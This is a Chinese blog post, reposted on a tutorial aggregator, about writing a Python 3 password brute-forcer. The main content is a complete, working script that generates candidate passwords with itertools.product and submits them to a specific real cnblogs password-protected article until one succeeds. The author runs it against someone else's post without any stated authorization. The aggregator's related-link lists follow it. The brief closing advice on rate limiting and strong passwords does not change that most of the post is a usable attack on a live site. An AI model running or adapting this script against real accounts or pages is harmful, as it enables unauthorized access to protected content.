python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python自动扫雷实现方法
Jul 25 Python
Python实现PS图像调整颜色梯度效果示例
Jan 25 Python
TensorFlow平台下Python实现神经网络
Mar 10 Python
对python中for、if、while的区别与比较方法
Jun 25 Python
Numpy中的mask的使用
Jul 21 Python
pycharm双击无响应(打不开问题解决办法)
Jan 10 Python
Python求凸包及多边形面积教程
Apr 12 Python
在Python3.74+PyCharm2020.1 x64中安装使用Kivy的详细教程
Aug 07 Python
selenium+超级鹰实现模拟登录12306
Jan 24 Python
Python Socket编程详解
Apr 25 Python
Github 使用python对copilot做些简单使用测试
Apr 14 Python
python数字图像处理:图像的绘制
Jun 28 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
一个简易需要注册的留言版程序
2006/10/09 PHP
PHP 简单日历实现代码
2009/10/28 PHP
FirePHP 推荐一款PHP调试工具
2011/04/23 PHP
javascript 必知必会之closure
2009/09/21 Javascript
jQuery 方法大全方便学习参考
2010/02/25 Javascript
js 手机号码合法性验证代码集合
2012/09/29 Javascript
jQuery学习笔记(2)--用jquery实现各种模态提示框代码及项目构架
2013/04/08 Javascript
javascript中的if语句使用介绍
2013/11/20 Javascript
js采用map取到id集合组并且实现点击一行选中一行
2013/12/16 Javascript
浅析jquery的js图表组件highcharts
2014/03/06 Javascript
用js替换除数字与逗号以外的所有字符的代码
2014/06/07 Javascript
深入探密Javascript数组方法
2015/01/08 Javascript
基于jquery实现简单的手风琴特效
2015/11/24 Javascript
JS与jQuery遍历Table所有单元格内容的方法
2015/12/07 Javascript
ionic实现下拉刷新载入数据功能
2017/05/11 Javascript
jQuery实现table表格checkbox全选的方法分析
2018/07/04 jQuery
vue、react等单页面项目部署到服务器的方法及vue和react的区别
2018/09/29 Javascript
vue实现todolist功能、todolist组件拆分及todolist的删除功能
2019/04/11 Javascript
Cordova(ionic)项目实现双击返回键退出应用
2019/09/17 Javascript
微信小程序自定义顶部组件customHeader的示例代码
2020/06/03 Javascript
用Python进行基础的函数式编程的教程
2015/03/31 Python
Python编程实现双击更新所有已安装python模块的方法
2017/06/05 Python
python输入错误密码用户锁定实现方法
2017/11/27 Python
python编辑用户登入界面的实现代码
2018/07/16 Python
tensorflow 自定义损失函数示例代码
2020/02/05 Python
PIL.Image.open和cv2.imread的比较与相互转换的方法
2020/06/03 Python
Pycharm配置lua编译环境过程图解
2020/11/28 Python
移动端适配 使px自动转换rem
2019/08/26 HTML / CSS
英国著名的药妆网站:Escentual
2016/07/29 全球购物
探索欧洲最好的品牌:Bombinate
2019/06/14 全球购物
英语自我评价范文
2014/01/24 职场文书
党员承诺书怎么写
2014/05/20 职场文书
售后服务承诺书怎么写
2014/05/21 职场文书
《生物入侵者》教学反思
2016/02/16 职场文书
党员学习型组织心得体会
2019/06/21 职场文书
十大公认最好看的动漫:《咒术回战》在榜,《钢之炼金术师》第一
2022/03/18 日漫